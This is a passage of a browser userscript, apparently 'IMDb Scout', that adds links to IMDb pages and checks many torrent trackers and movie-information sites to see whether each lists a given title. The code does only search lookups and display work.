// you can use inside the URL:
// - %tt%:
// The IMDb id with the tt prefix (e.g. tt0055630)
// - %nott%:
// The IMDb id without the tt prefix (e.g. 0055630)
// - %search_string%:
// The movie title (e.g. Yojimbo)
// - %year%:
// The movie year (e.g. 1961)
// See below for examples
//------------------------------------------------------
var sites = [
{ 'name': 'ADC',
'searchUrl': 'https://asiandvdclub.org/browse.php?descr=1&btnSubmit=Submit&search=%tt%',
'matchRegex': /Your search returned zero results|<h1>You need cookies enabled to log in.<\/h1>/,
'both': true},
{ 'name': 'AHD',
'searchUrl': 'https://awesome-hd.me/torrents.php?id=%tt%',
'matchRegex': /Your search did not match anything.|<h2>Error 404<\/h2>/,
'both': true},
{ 'name': 'AR',
'searchUrl': 'https://alpharatio.cc/torrents.php?searchstr=%search_string%+%year%&filter_cat[6]=1&filter_cat[7]=1&filter_cat[8]=1&filter_cat[9]=1',
'matchRegex': /Your search did not match anything/},
{ 'name': 'AR',
'searchUrl': 'https://alpharatio.cc/torrents.php?searchstr=%search_string%&filter_cat[1]=1&filter_cat[2]=1&filter_cat[3]=1&filter_cat[4]=1&filter_cat[5]=1',
'matchRegex': /Your search did not match anything/,
'TV': true},
{ 'name': 'AT',
'searchUrl': 'https://avistaz.to/movies?search=&imdb=%tt%',
'matchRegex': /class="overlay-container"/,
'positiveMatch': true},
{ 'name': 'AT',
'searchUrl': 'https://avistaz.to/tv-shows?search=&imdb=%tt%',
'matchRegex': /class="overlay-container"/,
'positiveMatch': true,
'TV': true},
{ 'name': 'Blutopia',
'searchUrl': 'https://blutopia.xyz/search??imdb=%nott%',
'both': true},
{ 'name': 'bB',
'searchUrl': 'https://baconbits.org/torrents.php?action=basic&filter_cat[9]=1&searchstr=%search_string%+%year%',
'matchRegex': /Your search was way too l33t|You will be banned for 6 hours after your login attempts run out/},
{ 'name': 'bB',
'searchUrl': 'https://baconbits.org/torrents.php?action=basic&filter_cat[8]=1&filter_cat[10]=1&searchstr=%search_string%',
'matchRegex': /Your search was way too l33t|You will be banned for 6 hours after your login attempts run out/,
'TV': true},
{ 'name': 'BB-HD',
'searchUrl': 'https://bluebird-hd.org/browse.php?search=&incldead=0&cat=0&dsearch=%tt%&stype=or',
'matchRegex': /Nothing found|Ничего не найдено/,
'both': true},
{ 'name': 'BHD',
'searchUrl': 'https://beyond-hd.me/browse.php?search=%tt%&searchin=title&incldead=1',
'matchRegex': /Nothing found!|Please login or Register a personal account to access our user area and great community/},
{ 'name': 'BHD',
'searchUrl': 'https://beyond-hd.me/browse.php?c40=1&c44=1&c48=1&c89=1&c46=1&c45=1&search=%search_string%&searchin=title&incldead=0',
'matchRegex': /Nothing found!|Please login or Register a personal account to access our user area and great community/,
'TV': true},
{ 'name': 'BitHD',
'searchUrl': 'http://www.bit-hdtv.com/torrents.php?cat=0&search=%tt%',
'matchRegex': /<h2>No match!<\/h2>/},
{ 'name': 'BMTV',
'searchUrl': 'https://www.bitmetv.org/browse.php?search=%search_string%',
'matchRegex': /Nothing found!<\/h2>/,
'TV': true},
{ 'name': 'BTN',
'searchUrl': 'https://broadcasthe.net/torrents.php?imdb=%tt%',
'matchRegex': /Error 404|Lost your password\?/,
'TV': true},
{ 'name': 'BTN-Req',
'searchUrl': 'https://broadcasthe.net/requests.php?search=%search_string%',
'matchRegex': /Nothing found|Lost your password\?/,
'TV': true},
{ 'name': 'CaCh',
'searchUrl': 'http://www.cartoonchaos.org/index.php?page=torrents&search=%search_string%&category=0&options=0&active=0',
'matchRegex': />Av.<\/td>\s*<\/tr>\s*<\/table>|not authorized to view the Torrents/,
'both': true},
{ 'name': 'CG',
'searchUrl': 'https://cinemageddon.net/browse.php?search=%tt%',
'matchRegex': /<h2>Nothing found!<\/h2>/,
'loggedOutRegex': 'Not logged in!'},
{ 'name': 'CG-c',
'searchUrl': 'https://cinemageddon.net/cocks/endoscope.php?what=imdb&q=%tt%',
'matchRegex': /<h2>Nothing found!<\/h2>/,
'loggedOutRegex': 'Not logged in!'},
{ 'name': 'CHD',
'searchUrl': 'https://chdbits.co/torrents.php?incldead=1&spstate=0&inclbookmarked=0&search_area=4&search_mode=0&search=%tt%',
'matchRegex': /Nothing found/},
{ 'name': 'Classix',
'searchUrl': 'http://classix-unlimited.co.uk/torrents-search.php?search=%search_string%',
'matchRegex': /Nothing Found<\/div>/},
{ 'name': 'CZ',
'configName': 'ET',
'searchUrl': 'https://cinemaz.to/movies?search=&imdb=%tt%',
'matchRegex': /class="overlay-container"/,
'positiveMatch': true},
{ 'name': 'CZ',
'configName': 'ET',
'searchUrl': 'https://cinemaz.to/tv-shows?search=&imdb=%tt%',
'matchRegex': /class="overlay-container"/,
'positiveMatch': true,
'TV': true},
{ 'name': 'Demnoid',
'searchUrl': 'http://www.demonoid.pw/files/?query=%tt%',
'matchRegex': /<b>No torrents found<\/b>|We are currently performing the daily site maintenance.<br>/,
'both': true},
{ 'name': 'DVDSeed',
'searchUrl': 'http://www.dvdseed.eu/browse2.php?search=%tt%&wheresearch=2&incldead=1&polish=0&nuke=0&rodzaj=0',
'matchRegex': /Nic tutaj nie ma!<\/h2>/},
{ 'name': 'eThor',
'searchUrl': 'http://ethor.net/browse.php?stype=b&c23=1&c20=1&c42=1&c5=1&c19=1&c25=1&c6=1&c37=1&c43=1&c7=1&c9=1&advcat=0&incldead=0&includedesc=1&search=%tt%',
'matchRegex': /Try again with a refined search string.|<h1>Note: Vous devez activer vos 'cookies' pour pouvoir vous identifier.<\/h1>/},
{ 'name': 'FL',
'searchUrl': 'https://filelist.ro/browse.php?search=%nott%',
'matchRegex': /<h2>Nu s-a găsit nimic!<\/h2>/,
'both': true},
{ 'name': 'FinVip',
'searchUrl': 'https://finvip.org/index.php?page=torrents&search=%tt%&options=1',
'matchRegex': /<td colspan="2" align="center"> <\/td>/},
{ 'name': 'GFT',
'searchUrl': 'https://www.thegft.org/browse.php?view=0&c2=1&c1=1&c9=1&c11=1&c48=1&c8=1&c18=1&c49=1&c7=1&c38=1&c46=1&c5=1&c13=1&c26=1&c37=1&c19=1&c47=1&c17=1&c4=1&c22=1&c25=1&c20=1&c3=1&search=%tt%&searchtype=0',
'matchRegex': /Nothing found!<\/h2>/},
{ 'name': 'GFT',
'searchUrl': 'https://www.thegft.org/browse.php?view=0&search=%search_string%',
'matchRegex': /Nothing found!<\/h2>/,
'TV': true},
{ 'name': 'GFT-Gems',
'searchUrl': 'https://www.thegft.org/browse.php?view=1&search=%tt%&searchtype=0',
'matchRegex': /Nothing found!<\/h2>/},
{ 'name': 'HD',
'searchUrl': 'http://hounddawgs.org/torrents.php?type=&userid=&searchstr=&searchimdb=%tt%&searchlang=&searchtags=&order_by=s3&order_way=desc&showOnly=#results',
'matchRegex': /<h2>Din søgning gav intet resultat.<\/h2>/,
'both': true},
{ 'name': 'HDb',
'searchUrl': 'https://hdbits.org/browse.php?c3=1&c1=1&c4=1&c2=1&imdb=%tt%',
'matchRegex': /Nothing here!|You need cookies enabled to log in/,
'both': true},
{ 'name': 'HDC',
'searchUrl': 'https://hdchina.org/torrents.php?incldead=0&spstate=0&inclbookmarked=0&boardid=0&seeders=&search=%tt%&search_area=4&search_mode=2',
'matchRegex': /Nothing found! Try again with a refined search string./},
{ 'name': 'HDClub',
'searchUrl': 'http://hdclub.org/browse.php?webdl=0&3d=0&search=&incldead=0&dsearch=%tt%',
'matchRegex': /Nothing was found|Ничего не найдено|Нічого не знайдено/,
'both': true},
{ 'name': 'HDH',
'configName': 'HDHome',
'searchUrl': 'http://hdhome.org/torrents.php?search_area=4&search=%tt%',
'matchRegex': /Nothing found! Try again with a refined search string/},
{ 'name': 'HDME',
'searchUrl': 'https://hdme.eu/browse.php?blah=2&cat=0&incldead=1&search=%tt%',
'matchRegex': /Try again with a refined search string.|<h1>You need cookies enabled to log in.<\/h1>/},
{ 'name': 'HDME',
'searchUrl': 'https://hdme.eu/browse.php?search=%search_string%&blah=0&cat=0&incldead=1',
'matchRegex': /Try again with a refined search string.|<h1>You need cookies enabled to log in.<\/h1>/,
'TV': true},
{ 'name': 'HDS',
'searchUrl': 'https://hdsky.me/torrents.php?incldead=1&search=%tt%&search_area=4&search_mode=0',
'matchRegex': /Nothing found! Try again with a refined search string|Email:[email protected]/},
{ 'name': 'HDS',
'searchUrl': 'https://hdsky.me/torrents.php?cat402=1&cat403=1&incldead=1&search=%search_string%&search_area=0&search_mode=0',
'matchRegex': /Nothing found! Try again with a refined search string|Email:[email protected]/,
'TV': true},
{ 'name': 'HDSpace',
'icon': 'http://www.favicon.by/ico/5991df36e3635.ico',
'searchUrl': 'https://hd-space.org/index.php?page=torrents&active=0&options=2&search=%nott%',
'matchRegex': /<td colspan="2" align="center"> <\/td>|You’re not authorized to view the Torrents!<br \/>/,
'both': true},
{ 'name': 'HDT',
'icon': 'https://hdts.ru/favicon.ico',
'searchUrl': 'http://hd-torrents.org/torrents.php?active=0&options=2&search=%tt%',
'matchRegex': /No torrents here.../,
'both': true},
{ 'name': 'HDU',
'searchUrl': 'https://pt.upxin.net/torrents.php?search_area=4&search=%tt%',
'matchRegex': /Nothing found! Try again with a refined search string/},
{ 'name': 'HDVN',
'searchUrl': 'http://torviet.com/torrents.php?search=%tt%&search_area=4&search_mode=0',
'matchRegex': /Nothing found! Try again with a refined search string|You need cookies enabled to log in or switch language/,
'both': true},
{ 'name': 'ILC',
'searchUrl': 'http://www.iloveclassics.com/browse.php?incldead=1&searchin=2&search=%tt%',
'matchRegex': /Try again with a refined search string|<h1>Not logged in!<\/h1>/},
{ 'name': 'IPT',
'searchUrl': 'https://www.iptorrents.com/torrents/?q=%tt%',
'matchRegex': /<h1 style="color:yellow">No Torrents Found!/},
{ 'name': 'IPT',
'searchUrl': 'https://www.iptorrents.com/torrents/?q=%search_string%',
'matchRegex': /<h1 style="color:yellow">No Torrents Found!/,
'TV': true},
{ 'name': 'JoyHD',
'searchUrl': 'http://www.joyhd.org/torrents.php?search_area=4&search=%tt%',
'matchRegex': /Nothing found! Try again with a refined search string/},
{ 'name': 'KG',
'searchUrl': 'https://www.karagarga.in/browse.php?search_type=imdb&search=%nott%',
'matchRegex': /<h2>No torrents found|<h1>If you want the love<\/h1>/},
{ 'name': 'KZ',
'searchUrl': 'http://kinozal.tv/browse.php?s=%search_string%+%year%&g=0&c=1002&v=0&d=0&w=0&t=0&f=0',
'matchRegex': 'Нет активных раздач, приносим извинения. Пожалуйста, уточните параметры поиска'},
{ 'name': 'KZ',
'searchUrl': 'http://kinozal.tv/browse.php?s=%search_string%+%year%&g=0&c=1001&v=0&d=0&w=0&t=0&f=0',
'matchRegex': 'Нет активных раздач, приносим извинения. Пожалуйста, уточните параметры поиска',
'TV': true},
{ 'name': 'M-T',
'searchUrl': 'https://tp.m-team.cc/torrents.php?incldead=1&spstate=0&inclbookmarked=0&search=%tt%&search_area=4&search_mode=0',
'matchRegex': /Nothing here!|Try again with a refined search string./,
'both': true},
{ 'name': 'MS',
'searchUrl': 'http://www.myspleen.org/browse.php?search=%search_string%&title=0&cat=0',
'matchRegex': /<strong>Nothing found!<\/strong>|<title>MySpleen :: Login<\/title>/,
'both': true},
{ 'name': 'MTV',
'searchUrl': 'https://www.morethan.tv/torrents.php?searchstr=%search_string%+%year%&tags_type=1&order_by=time&order_way=desc&group_results=1&filter_cat%5B1%5D=1&action=basic&searchsubmit=1',
'matchRegex': /<h2>Your search did not match anything.<\/h2>/},
{ 'name': 'MTV',
'searchUrl': 'https://www.morethan.tv/torrents.php?searchstr=%search_string%&tags_type=1&order_by=time&order_way=desc&group_results=1&filter_cat%5B2%5D=1&action=basic&searchsubmit=1',
'matchRegex': /<h2>Your search did not match anything.<\/h2>/,
'TV': true},
{ 'name': 'NNM',
'searchUrl': 'https://nnm-club.me/forum/tracker.php?nm=%search_string%+%year%',
'matchRegex': 'Не найдено',
'both': true},
{ 'name': 'NB',
'searchUrl': 'https://norbits.net/browse.php?incldead=1&fullsearch=0&scenerelease=0&imdbsearch=%tt%&imdb_from=0&imdb_to=0&search=',
'matchRegex': /<h3>Ingenting her!<\/h3>/,
'both': true},
{ 'name': 'NBL',
'searchUrl': 'https://nebulance.io/torrents.php?order_by=time&order_way=desc&searchtext=%search_string%&search_type=0&taglist=&tags_type=0',
'matchRegex': /Your search did not match anything/,
'TV': true},
{ 'name': 'OurBits',
'searchUrl': 'https://ourbits.club/torrents.php?search_area=4&search=%tt%',
'matchRegex': /Nothing found! Try again with a refined search string/},
{ 'name': 'PHD',
'searchUrl': 'https://privatehd.to/movies?search=&imdb=%tt%',
'matchRegex': /class="overlay-container"/,
'positiveMatch': true},
{ 'name': 'PHD',
'searchUrl': 'https://privatehd.to/tv-shows?search=&imdb=%tt%',
'matchRegex': /class="overlay-container"/,
'positiveMatch': true,
'TV': true},
{ 'name': 'PTN',
'icon': 'https://piratethenet.org/pic/favicon.ico',
'searchUrl': 'https://piratethenet.org/browseold.php?incldead=1&_by=3&search=%tt%',
'matchRegex': /Nothing found!/,
'both': true},
{ 'name': 'PTP',
'searchUrl': 'https://passthepopcorn.me/torrents.php?imdb=%tt%',
'matchRegex': /<h2>Your search did not match anything.<\/h2>/},
{ 'name': 'PTP-Req',
'searchUrl': 'https://passthepopcorn.me/requests.php?submit=true&search=%tt%',
'matchRegex': /Your search did not match anything.|<h1>Keep me logged in.<\/h1>/},
{ 'name': 'PxHD',
'searchUrl': 'https://pixelhd.me/torrents.php?groupname=&year=&tmdbover=&tmdbunder=&tmdbid=&imdbover=&imdbunder=&imdbid=%tt%&order_by=time&order_way=desc&taglist=&tags_type=1&filterTorrentsButton=Filter+Torrents',
'matchRegex': /<h2>Your search did not match anything.<\/h2>/},
{ 'name': 'RARAT',
'searchUrl': 'https://rarat.org/api/v1/torrents?extendedSearch=false&hideOld=false&index=0&limit=15&order=asc&page=search&searchText=%tt%&sort=n#https://rarat.org/search?search=%tt%',
'goToUrl': 'https://rarat.org/search?search=%tt%',
'matchRegex': /^$/,
'both': true},
{ 'name': 'RARBG',
'searchUrl': 'https://rarbg.to/torrents.php?imdb=%tt%',
'matchRegex': '//dyncdn.me/static/20/images/imdb_thumb.gif',
'positiveMatch': true,
'both': true},
{ 'name': 'RevTT',
'searchUrl': 'https://www.revolutiontt.me/browse.php?search=%tt%',
'matchRegex': /<h2>Nothing found!<\/h2>/},
{ 'name': 'RevTT',
'searchUrl': 'https://www.revolutiontt.me/browse.php?search=%search_string%&cat=0&incldead=1&titleonly=1',
'matchRegex': /<h2>Nothing found!<\/h2>/,
'TV': true},
{ 'name': 'RuT',
'searchUrl': 'https://rutracker.org/forum/tracker.php?nm=%search_string%',
'matchRegex': 'Не найдено',
'both': true},
{ 'name': 'Rutor',
'searchUrl': 'http://rutor.info/search/0/0/010/0/%tt%',
'matchRegex': 'Результатов поиска 0',
'both': true},
{ 'name': 'SDBits',
'searchUrl': 'https://sdbits.org/browse.php?c6=1&c3=1&c1=1&c4=1&c5=1&c2=1&m1=1&incldead=0&from=&to=&imdbgt=0&imdblt=10&uppedby=&imdb=&search=%tt%',
'matchRegex': /Nothing found!|<h1>You need cookies enabled to log in.<\/h1>/},
{ 'name': 'sHD',
'searchUrl': 'https://scenehd.org/browse.php?search=%tt%',
'matchRegex': /<h2>No torrents found!<\/h2>/},
{ 'name': 'SM',
'searchUrl': 'https://surrealmoviez.info/search.php?stext=%tt%',
'matchRegex': /0 Movies found matching search criteria|You need to be logged in to view this page/},
{ 'name': 'SP',
'searchUrl': 'http://www.scenepalace.info/browse.php?search=%nott%&cat=0&incldead=1',
'matchRegex': /<h1>Not logged in!<\/h1>|<h2>Nothing found!<\/h2>/,
'both': true},
{ 'name': 'TBD',
'icon': 'https://1.bp.blogspot.com/-F2JeKtPCJYI/VgjpVxwMO4I/AAAAAAAAADg/VyNyp-yW9Ac/s1600/TBD.ico',
'searchUrl': 'http://www.torrentbd.com/torrent/torrents-search.php?search=%search_string%',
'matchRegex': /No torrents were found based on your search criteria./,
'both': true},
{ 'name': 'TD',
'searchUrl': 'https://www.torrentday.com/t?q=%tt%',
'matchRegex': /No Torrents Found!/,
'both': true},
{ 'name': 'TE',
'searchUrl': 'https://theempire.click/browse.php?incldead=0&country=&nonboolean=1&search=%tt%',
'matchRegex': /Try again with a refined search string|<h1>You need cookies enabled to log in.<\/h1>/,
'both': true},
{ 'name': 'TG',
'searchUrl': 'https://thegeeks.click/browse.php?incldead=0&country=&nonboolean=1&search=%tt%',
'matchRegex': /Try again with a refined search string|<h1>You need cookies enabled to log in.<\/h1>/,
'both': true},
{ 'name': 'TO',
'searchUrl': 'https://theoccult.click/browse.php?incldead=0&country=&nonboolean=1&search=%tt%',
'matchRegex': /Try again with a refined search string|<h1>You need cookies enabled to log in.<\/h1>/,
'both': true},
{ 'name': 'TP',
'searchUrl': 'https://theplace.click/browse.php?incldead=0&country=&nonboolean=1&search=%tt%',
'matchRegex': /Try again with a refined search string|<h1>You need cookies enabled to log in.<\/h1>/,
'both': true},
{ 'name': 'TS',
'searchUrl': 'https://theshow.click/browse.php?incldead=0&country=&nonboolean=1&search=%tt%',
'matchRegex': /Try again with a refined search string|<h1>You need cookies enabled to log in.<\/h1>/,
'both': true},
{ 'name': 'THC',
'searchUrl': 'https://horrorcharnel.org/browse.php?search=%nott%&cat=0&incldead=1',
'matchRegex': /<h1>Not logged in!<\/h1>|<h2>Nothing found!<\/h2>/},
{ 'name': 'Tik',
'searchUrl': 'https://www.cinematik.net/browse.php?&cat=0&incldead=1&sort=1&type=asc&srchdtls=1&search=%tt%',
'matchRegex': /The page you tried to view can only be used when you're logged in|Nothing found!/},
{ 'name': 'TL',
'searchUrl': 'http://www.torrentleech.org/torrents/browse/index/query/%search_string%+%year%/categories/1,8,9,10,11,12,13,14,15,29',
'matchRegex': /Signup With Invite|Please refine your search./},
{ 'name': 'TL',
'searchUrl': 'http://www.torrentleech.org/torrents/browse/index/query/%search_string%/categories/2,26,27,32',
'matchRegex': /Signup With Invite|Please refine your search./,
'TV': true},
{ 'name': 'TPB',
'searchUrl': 'https://thepiratebay.org/search/%tt%',
'matchRegex': /No hits. Try adding an asterisk in you search phrase.<\/h2>/,
'both': true},
{ 'name': 'TTG',
'searchUrl': 'https://totheglory.im/browse.php?c=M&search_field=imdb%nott%',
'matchRegex': /Didn't match any titles/},
{ 'name': 'TVCK',
'searchUrl': 'https://www.tvchaosuk.com/browse.php?do=search&search_type=t_name&keywords=%search_string%',
'matchRegex': /<b>Nothing Found<\/b>/},
{ 'name': 'TVV',
'searchUrl': 'http://tv-vault.me/torrents.php?searchstr=%search_string%',
'matchRegex': /Nothing found<\/h2>/,
'TV': true},
{ 'name': 'UHDB',
'searchUrl': 'https://uhdbits.org/torrents.php?action=advanced&groupname=%tt%',
'matchRegex': /Your search did not match anything./},
{ 'name': 'x264',
'searchUrl': 'http://x264.me/browse.php?incldead=0&xtype=0&stype=3&search=%tt%',
'matchRegex': /Try again with a refined search string.|<h1>Forgot your password?<\/h1>/},
{ 'name': 'XS',
'searchUrl': 'https://www.xspeeds.eu/browse.php?do=search&keywords=%search_string%&search_type=t_name&category=0&include_dead_torrents=yes',
'matchRegex': /<b>Nothing Found<\/b>/}
];
var icon_sites = [
{ 'name': 'OpenSubtitles',
'searchUrl': 'http://www.opensubtitles.org/en/search/imdbid-%tt%'},
{ 'name': 'YouTube.com',
'searchUrl': 'https://www.youtube.com/results?search_query="%search_string%"+%year%+trailer'},
{ 'name': 'Rotten Tomatoes',
'searchUrl': 'https://www.rottentomatoes.com/search/?search=%search_string%'},
{ 'name': 'Criticker',
'searchUrl': 'https://www.criticker.com/?search=%search_string%&type=films'},
{ 'name': 'iCheckMovies',
'searchUrl': 'https://www.icheckmovies.com/search/movies/?query=%tt%'},
{ 'name': 'Letterboxd',
'searchUrl': 'http://letterboxd.com/imdb/%nott%'},
{ 'name': 'Subscene',
'icon': 'https://subscene.com/favicon.ico',
'searchUrl': 'https://subscene.com/subtitles/title?q=%search_string%'},
{ 'name': 'Wikipedia',
'searchUrl': 'https://en.wikipedia.org/w/index.php?search=%search_string%&go=Go'},
{ 'name': 'FilmAffinity',
'searchUrl': 'http://www.filmaffinity.com/en/advsearch.php?stext=%search_string%&stype[]=title&fromyear=%year%&toyear=%year%',
'showByDefault': false},
{ 'name': 'Metacritic',
'searchUrl': 'http://www.metacritic.com/search/all/%search_string%/results?cats[movie]=1&cats[tv]=1&search_type=advanced&sort=relevancy',
'showByDefault': false},
{ 'name': 'Can I Stream.It? (Movie)',
'searchUrl': 'http://www.canistream.it/search/movie/%search_string%',
'showByDefault': false},
{ 'name': 'Can I Stream.It? (TV)',
'searchUrl': 'http://www.canistream.it/search/tv/%search_string%',
'showByDefault': false},
{ 'name': 'AllMovie',
'searchUrl': 'http://www.allmovie.com/search/movies/%search_string%',
'showByDefault': false},
{ 'name': 'Facebook',
'searchUrl': 'https://www.facebook.com/search/str/%search_string%/keywords_pages',
'showByDefault': false},
{ 'name': 'Amazon',
'searchUrl': 'http://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Dmovies-tv&field-keywords=%search_string%',
'showByDefault': false},
{ 'name': 'Netflix',
'searchUrl': 'http://www.netflix.com/search/%search_string%',
'showByDefault': false},
{ 'name': 'Blu-ray.com',
'searchUrl': 'http://www.blu-ray.com/search/?quicksearch=1&quicksearch_country=all&quicksearch_keyword=%search_string%+§ion=bluraymovies',
'showByDefault': false},
{ 'name': 'trakt.tv',
'icon': 'https://walter.trakt.tv/hotlink-ok/public/favicon.ico',
'searchUrl': 'https://trakt.tv/search?query=%search_string%',
'showByDefault': false}
];
// For internal use (order matters)
var valid_states = [
'found',
'missing',
'logged_out',
'error'
];
function replaceSearchUrlParams(site, movie_id, movie_title) {
var search_url = site['searchUrl'];
// If an array, do a little bit of recursion
if ($.isArray(search_url)) {
var search_array = [];
$.each(search_url, function(index, url) {
search_array[index] = replaceSearchUrlParams(url, movie_id, movie_title);
});
return search_array;
}
var space_replace = ('spaceEncode' in site) ? site['spaceEncode'] : '+';
var search_string = movie_title.replace(/ +\(.*/, '').replace(/\s+/g, space_replace);
var movie_year = document.title.replace(/^(.+) \((.*)([0-9]{4})(.*)$/gi, '$3');
var s = search_url.replace(/%tt%/g, 'tt' + movie_id)
.replace(/%nott%/g, movie_id)
.replace(/%search_string%/g, search_string)
.replace(/%year%/g, movie_year);
return s;
}
function getPageSetting(key) {
return (onSearchPage ? GM_config.get(key + '_search') : GM_config.get(key + '_movie'));
}
// Small utility function to return a site's icon
function getFavicon(site, hide_on_err) {
if (typeof(hide_on_err) === 'undefined') { hide_on_err = false };
if ('icon' in site) {
var favicon = site['icon'];
} else {
var url = new URL(site['searchUrl']);
var favicon = url.origin + '\/favicon.ico';
}
var img = $('<img />').attr({'style': '-moz-opacity: 0.4; border: 0; vertical-align: text-top',
'width': '16',
'src': favicon,
'title': site['name'],
'alt': site['name']});
if (hide_on_err) { img.attr('onerror', "this.style.display='none';") };
return img;
}
// Adds search links to an element
// state should always be one of the values defined in valid_states
function addLink(elem, link_text, target, site, state) {
var link = $('<a />').attr('href', target).attr('target', '_blank');
if ($.inArray(state, valid_states) < 0) {
console.log("Unknown state " + state);
}
if (getPageSetting('use_icons')) {
var icon = getFavicon(site);
icon.css({'border-width': '3px', 'border-style': 'solid', 'border-radius': '2px'});
if (state == 'error' || state == 'logged_out') {
icon.css('border-color', 'red');
} else if (state == 'missing') {
icon.css('border-color', 'yellow');
} else {
icon.css('border-color', 'green');
}
link.append(icon);
} else {
if (state == 'missing' || state == 'error' || state == 'logged_out') {
link.append($('<s />').append(link_text));
} else {
link.append(link_text);
}
if (state == 'error' || state == 'logged_out') {
link.css('color', 'red');
}
}
if (!onSearchPage) {
$('#imdbscout_' + state).append(link).append(' ');
} else {
var result_box = $(elem).find('td.result_box');
if (result_box.length > 0) {
$(result_box).append(link);
} else {
$(elem).append($('<td />').append(link).addClass('result_box'));
}
}
}
// Performs an ajax request to determine
// whether or not a url should be displayed
function maybeAddLink(elem, link_text, search_url, site) {
// If the search URL is an array, recurse briefly on the elements.
if ($.isArray(search_url)) {
$.each(search_url, function(index, url) {
maybeAddLink(elem, link_text + '_' + (index + 1).toString(), url, site);
});
return;
}
var domain = search_url.split('/')[2];
var now = (new Date())*1;
var lastLoaded = window.localStorage[domain+'_lastLoaded'];
if (!lastLoaded) {
lastLoaded = now - 5000;
} else {
lastLoaded = parseInt(lastLoaded);
}
if (now-lastLoaded < 1000) {
window.setTimeout(maybeAddLink.bind(undefined, elem, site['name'], search_url, site), 1000);
return;
}
else
{
window.localStorage[domain+'_lastLoaded']=(new Date())*1;
}
var target = search_url;
if (site.goToUrl) {
target = site.goToUrl;
}
var success_match = ('positiveMatch' in site) ? site['positiveMatch'] : false;
GM_xmlhttpRequest({
method: 'GET',
url: search_url,
onload: function(response_details) {
if (String(response_details.responseText).match(site['matchRegex']) ? !(success_match) : success_match) {
if (getPageSetting('highlight_missing').split(',').includes(site['name'])) {
if (elem.style) {
elem.parentNode.style.background = 'rgba(255,104,104,0.7)';
} else {
document.querySelector('#imdbscout_missing').style.background = 'rgba(255,104,104,0.7)';
}
}
if (!getPageSetting('hide_missing')) {
addLink(elem, link_text, target, site, 'missing');
}
} else if (site['loggedOutRegex'] && String(response_details.responseText).match(site['loggedOutRegex'])) {
addLink(elem, link_text, target, site, 'logged_out');
} else {
addLink(elem, link_text, target, site, 'found');
}
},
onerror: function(response) {
addLink(elem, link_text, target, site, 'error');
},
onabort: function(response) {
addLink(elem, link_text, target, site, 'error');
}
});
}
// Run code to create fields and display sites
function perform(elem, movie_id, movie_title, is_tv, is_movie) {
var site_shown = false;
$.each(sites, function(index, site) {
if (site['show']) {
site_shown = true;
// If we're on a TV page, only show TV links.
if ((Boolean(site['TV']) == is_tv ||
Boolean(site['both'])) ||
(!is_tv && !is_movie) || getPageSetting('ignore_type')) {
searchUrl = replaceSearchUrlParams(site, movie_id, movie_title);
if (site.goToUrl)
site.goToUrl = replaceSearchUrlParams({
'searchUrl': site['goToUrl'],
'spaceEncode': ('spaceEncode' in site) ? site['spaceEncode'] : '+'
}, movie_id, movie_title);
if (getPageSetting('call_http')) {
maybeAddLink(elem, site['name'], searchUrl, site);
} else {
addLink(elem, site['name'], searchUrl, site, 'found');
}
}
}
});
if (!site_shown) {
$(elem).append('No sites enabled! You can change this via the Greasemonkey option "IMDb Scout Preferences".');
}
}
//------------------------------------------------------
// Button Code
//------------------------------------------------------
function displayButton() {
var p = $('<p />').attr('id', 'imdbscout_button');
p.append($('<button>Load IMDb Scout</button>').click(function() {
$('#imdbscout_button').remove();
if (onSearchPage) {
performSearch();
} else {
performPage();
}
}));
if (onSearchPage) {
$('#sidebar').append(p);
} else if ($('h1.header:first').length) {
$('h1.header:first').parent().append(p);
} else {
$('#title-overview-widget').parent().append(p);
}
}
//------------------------------------------------------
// Icons at top bar
//------------------------------------------------------
// Adds a dictionary of icons to the top of the page.
// Unlike the other URLs, they aren't checked to see if the movie exists.
function addIconBar(movie_id, movie_title) {
if ($('h1.header:first').length) {
var iconbar = $('h1.header:first').append($('<br/>'));
} else if ($('.title_wrapper h1')) {
var iconbar = $('.title_wrapper h1').append($('<br/>'));
} else {
var iconbar = $('#tn15title .title-extra');
}
$.each(icon_sites, function(index, site) {
if (site['show']) {
var search_url = replaceSearchUrlParams(site, movie_id, movie_title);
var image = getFavicon(site);
var html = $('<span />').append(" ").attr('style', 'font-size: 11px;').append(
$('<a />').attr('href', search_url)
.addClass('iconbar_icon').append(image));
iconbar.append(html).append();
}
});
//If we have access to the openInTab function, add an Open All feature
if (GM_openInTab) {
var aopenall = $('<a />').text('Open All')
.prepend(" ")
.attr('href', 'javascript:;')
.attr('style', 'font-weight:bold;font-size:11px;font-family: Calibri, Verdana, Arial, Helvetica, sans-serif;');
aopenall.click(function() {
$('.iconbar_icon').each(function() {
GM_openInTab($(this).attr('href'));
});
}, false);
iconbar.append(aopenall);
}
}
//------------------------------------------------------
// Search page code
//------------------------------------------------------
function performSearch() {
//Add css for the new table cells we're going to add
var styles = '.result_box {width: 335px}';
styles += ' .result_box a { margin-right: 5px; color: #444;} ';
styles += ' .result_box a:visited { color: #551A8B; }';
styles += ' #content-2-wide #main, #content-2-wide';
styles += ' .maindetails_center {margin-left: 5px; width: 1001px;} ';
GM_addStyle(styles);
if($('div#main table.results tr.detailed').length !== 0) {
//Loop through each result row
$('div#main table.results tr.detailed').each(function() {
var link = $(this).find('.title>a');
var is_tv = Boolean($(this).find('.year_type').html()
.match('TV Series'));
var is_movie = Boolean($(this).find('.year_type').html()
.match(/\(([0-9]*)\)/));
var movie_title = link.html();
var movie_id = link.attr('href').match(/tt([0-9]*)\/?$/)[1];
$(this).find('span.genre a').each(function() {
if ($(this).html() == 'Adult') {
$(this).parent().parent().parent()
.css('background-color', 'red');
}
});
perform($(this), movie_id, movie_title, is_tv, is_movie);
});
} else {
// Chameleon code, in a different style
var titleDivs = document.getElementsByClassName('col-title');
var compact = true;
if(titleDivs.length === 0)
{
titleDivs=document.getElementsByClassName('lister-item-header');
compact=false;
}
for(var i=0; i<titleDivs.length; i++)
{
var t = titleDivs[i];
var link = t.getElementsByTagName('a')[0];
var is_tv = link.nextElementSibling.textContent.indexOf('-')!==-1;
var is_movie = !is_tv;
var movie_title = link.textContent;
var movie_id = link.href.split("/title/tt")[1].split("/")[0];
var elem = t.parentNode.parentNode;
if(!compact)
elem = t.parentNode;
perform(elem, movie_id, movie_title, is_tv, is_movie);
}
}
}
//------------------------------------------------------
// TV/movie page code
//------------------------------------------------------
function performPage() {
var movie_title = $('title').text().match(/^(.*?) \(/)[1];
var movie_id = document.URL.match(/\/tt([0-9]+)\//)[1].trim('tt');
